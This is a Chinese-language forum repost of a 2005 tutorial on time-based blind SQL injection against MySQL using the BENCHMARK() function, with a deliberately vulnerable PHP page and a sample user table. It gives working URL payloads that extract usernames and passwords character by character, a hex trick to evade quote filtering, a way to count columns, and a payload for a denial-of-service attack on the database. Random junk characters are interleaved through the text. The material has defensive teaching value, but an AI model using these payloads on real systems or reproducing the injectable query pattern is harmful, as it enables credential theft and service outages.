找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2082|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 . I  K. h8 K* ^. @0 C) }2 i3 L
本文作者:SuperHei
' Y: U  F9 ^! P( ^+ f文章性质:原创
- A% A- X6 [6 h5 b7 m. \; A发布日期:2005-01-02
, D6 l  \# n1 n, F/ e. u完成日期:2004-07-09 + y, f, {7 C  U# d2 @; C( m- \
第一部6 |1 T3 P8 N5 [6 ~

( c/ g5 F8 m2 p3 S6 z4 }利用时间推延进行注射---BENCHMARK函数在注射中的利用 + o2 B" j8 ~( q

) F  R: v! Z- e& W% s0 w一.前言/思路! M1 V( U, K* f6 g0 i$ t

- h% y1 ?; [8 I  }' M. m& [  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
, {& T  L3 n0 C& ]( D. X7 Q& s4 a5 m! A  @1 _! v0 c" C5 h
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
% f' s7 r  d8 ^6 x- D+ E9 }4 s8 a& x- U( w* O; i3 b3 ~
二.关于BENCHMARK函数% K% g0 E( X" I! T  w/ ]8 _

. z; m+ G* z6 {% H  在MySQL参考手册里可以看到如下描叙: 4 H, g1 u8 _* {! X* }, c3 O
: X' K" J+ W, e7 A7 l6 h8 Q, V: t

$ ~0 I0 K# }! L; G& n. o0 q--------------------------------------------------------------------------------$ `) b8 `- \. u4 {: X, Q0 S
! P! d: u5 N5 y
BENCHMARK(count,expr)
) A: }: c. Q$ s. ]+ j* J, N. y6 e: uBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. b+ t9 R$ Y0 z3 C: ^5 imysql> select BENCHMARK(1000000,encode("hello","goodbye"));
2 r# E& R7 ?( V3 z) [( U4 w+----------------------------------------------+ 4 w: Y9 \% x. w, z6 t
| BENCHMARK(1000000,encode("hello","goodbye")) | 0 S- g+ t' _. l" w9 o; f7 A
+----------------------------------------------+ * O! a9 V5 h& u
| 0 |
) V0 p1 I# B/ u+----------------------------------------------+
6 v& ^. \! D( J4 m1 row in set (4.74 sec) 1 q* e6 X' W1 e8 J
. |+ ?& v! b5 ]+ P5 E( H  n
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。  K, U0 r3 M, _. u! h
# Z0 v* R& q* R: S1 F: F
+ `6 y6 f; L4 p' h5 j
--------------------------------------------------------------------------------
5 E( l- c2 i, G9 r1 S# S9 W4 L
' b# h6 b8 Z0 K0 z, w5 f/ ~* i  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: , j, p+ H7 ]( I+ n: |
3 L; X1 h1 l9 L& f
mysql> select md5( 'test' ); 5 D4 R* n8 V# m4 P; d
+----------------------------------+ $ O9 T! D& Q& c/ D; a/ b2 ~# `4 P
| md5( 'test' ) |
: t, @, F) c5 X. s$ r! O+----------------------------------+ 3 p+ R' t$ n' M( E+ x# c
| 098f6bcd4621d373cade4e832627b4f6 |
& R8 j% v" N% s6 O6 `3 _1 C+----------------------------------+ . {- D! t* `% i5 s) Q8 h0 p* X
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
: G3 M6 w9 I) q3 f# Y3 r- ]: |0 P
0 y. E$ F! l- u* fmysql> select benchmark( 500000, md5( 'test' ) );
) b7 w0 }+ m3 |0 C$ B* U8 ?+------------------------------------+ - p! p% `7 y, k% o: P
| benchmark( 500000, md5( 'test' ) ) |
6 u% Q  D- F$ l& G( k+------------------------------------+
& V' n  h, h: o" {| 0 |
8 {7 z1 T6 O) ?: T+------------------------------------+ # @3 ]$ K: j7 W! W
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! e. p* y0 y+ F' V 4 \0 Y+ W$ A/ g. T  [2 C
- y( f& \8 V9 j  Z: \: h
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' \! X* s7 N! C* e! ?; ]3 ]0 n/ B+ t  P0 C- Y0 g
三.具体例子
6 _% @- K* b' T  e4 y( C. {/ d
: v& T; C% d$ H! y: i- {  首先我们看个简单的php代码:
1 a+ R8 g; w6 P+ d! j# G( g  ^! R' b+ S0 z
< ?php
) R5 P. v: M* ?' v* j5 M3 N8 d$servername = "localhost"; , \( c( I+ X! I
$dbusername = "root"; ( ?9 H- e6 `6 L7 W
$dbpassword = "";
+ X3 S+ H. X7 K3 ]$dbname = "injection"; $ z; }4 L8 k  S# L) q
+ T( \1 I, S5 ^5 ]; R. J6 h/ {
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
+ n7 }2 I, J# Q3 m( k8 }' B
  ^- }5 k: D7 V8 n4 ^. T/ ?: F$sql = "SELECT * FROM article WHERE articleid=$id";   G4 h2 }* u5 r9 p: W) _
$result = mysql_db_query($dbname,$sql); 5 j; O5 r# o0 C7 s& J& l. n6 u
$row = mysql_fetch_array($result); ( |1 i* ~% k, A

5 e( e6 |1 h- ~% X2 }if (!$row)
" y+ E+ P- T! n0 j$ e- c{ $ Z- A  k" h7 M( r. t; ?
exit; * ?+ |3 J4 a& R" w$ z; L2 x4 e' x
} 0 u  ~1 p2 M/ }1 A
?>
% _- O0 D1 O% v: \3 s  W # l+ J  _5 Z1 p! N8 {
2 J$ e7 l% S4 x5 W
  数据库injection结构和内容如下:3 V2 n5 u. ^. H$ ~: ~

# A* Q. L3 _( T7 q# 数据库 : `injection` % f! U& v1 ]" Y5 i6 Q
# + r) ]9 [8 ~4 _& t; m& w5 `
7 i3 E) `2 v0 }7 N
# -------------------------------------------------------- 2 N- n- j) y1 G& t# c, I

- m5 h: T0 P) |* |3 e; T6 Q5 |# 2 g% p" X$ i4 }" n6 {$ d, E, C7 c, N  S
# 表的结构 `article`
; R8 X/ H0 |* B9 T: h7 f. I# $ D" q. T- O+ C1 h0 `1 k5 h
% @. @/ S9 R0 ~6 x5 K7 S# ~" B7 t* M
CREATE TABLE `article` (
9 z) T' ?, k9 k. [7 E) n  B$ i8 u`articleid` int(11) NOT NULL auto_increment,
3 w( e  M: H. C0 k8 x9 X`title` varchar(100) NOT NULL default '', $ O! F  ^6 f$ i) G) Q% t
`content` text NOT NULL, 5 a% }) l, T, E, }. E2 Y( N; F
PRIMARY KEY (`articleid`) 7 d# {% H, K/ e0 q4 t6 J% {% e
) TYPE=MyISAM AUTO_INCREMENT=3 ;
( f/ T& S& m& {* p  }) t- @0 o1 L* V3 m
#
+ c, ?  E. t% u& p8 ]: d# 导出表中的数据 `article` " t# s  |: {( [2 o
#
0 f) w! F& F. d7 j; L9 v  E: T, E
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); % O" n: J- N9 S- W
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ v0 i; P8 f; n% E! w4 I2 N0 e

, j1 W7 E1 |. K, n! e) E5 }# --------------------------------------------------------
+ w3 u8 m4 f- A# I
! I( M" S/ B$ z1 y( n: ?8 p# R) D: ?#
* S; g, ~7 I/ Y- T1 `! q# 表的结构 `user` ) O) L6 @8 @2 D/ ?3 |
#
; C' B# i3 j* E1 ?8 ^+ Q# L- h# w7 h5 }/ b7 r& r
CREATE TABLE `user` ( / H+ P9 M+ o) {  T% h0 c
`userid` int(11) NOT NULL auto_increment, . I! i% ~$ r! n/ B7 l
`username` varchar(20) NOT NULL default '', 6 k- ^5 g4 V% W. @9 Z
`password` varchar(20) NOT NULL default '',
2 T. p) u1 M: E) zPRIMARY KEY (`userid`) $ z  W6 e8 o& E* I* k8 v; p  v
) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 M/ l1 M5 j0 _2 |& g; i/ v" x1 d2 u4 a" }: u2 ~
# , D% ^$ w+ L5 [( u. \; f
# 导出表中的数据 `user` . f" F( S& N3 _! t5 r& `
#
, e7 ~/ l2 g5 Z3 n8 a" S( N- V3 ?* e
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
9 m1 C! w8 u8 m* o! ]0 }. z- oINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');+ P% Q4 f' v7 M* @

5 y9 Q4 q3 X* Q( @" w+ S4 K9 E6 n* ~6 Y
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
% i& s: L0 t. |2 w, W: F8 V: c. m5 `# P& w& c- U3 \7 d
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
# ?9 L1 p% e: m5 v 6 J3 Y9 m- K( J5 }1 ]1 a# H& e) W

3 k+ w& p& T+ y+ r- b  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
/ w8 w7 y! a* z
& K& v/ R5 g8 a' U0 _+ Thttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
* C( E" j+ w4 T- t- [- Q+ P4 k
( n& g( U6 ]# W, `+ a' d6 `, g
5 ~6 m* P0 D" e$ L: R  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 k5 X8 U4 X; A8 s  O  H; a
/ {& Q0 ]* y; m6 h4 H$ R% p
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 : g" M& s7 z  t4 h1 N) k$ c, O
9 P" }4 D2 N! M' g& ?
第二部
3 R" Z# s1 L7 T; }# ?
$ J" r( ^; P7 R9 @利用BENCHMARK函数进行ddos攻击 9 ?/ e2 v% _/ ?/ b9 ~* U
; N0 `  c8 o" ~! t  ?
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
4 _. k. }/ E' y% F, j8 v: T4 M% u5 t. P
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 L/ u# b4 N' t1 `$ ^

4 I1 u  O& a; s& p9 ]
" s7 j" `4 L- _+ S小结& C7 k% o: V. R8 R! s) i

" p3 s$ V; Y" _# g! t+ u0 T' }  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
/ [( {, E$ Z+ ]) W# r' Y7 D8 B
# S; }+ B' d0 l: E  
6 z& \! x5 z/ u2 [  n* [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表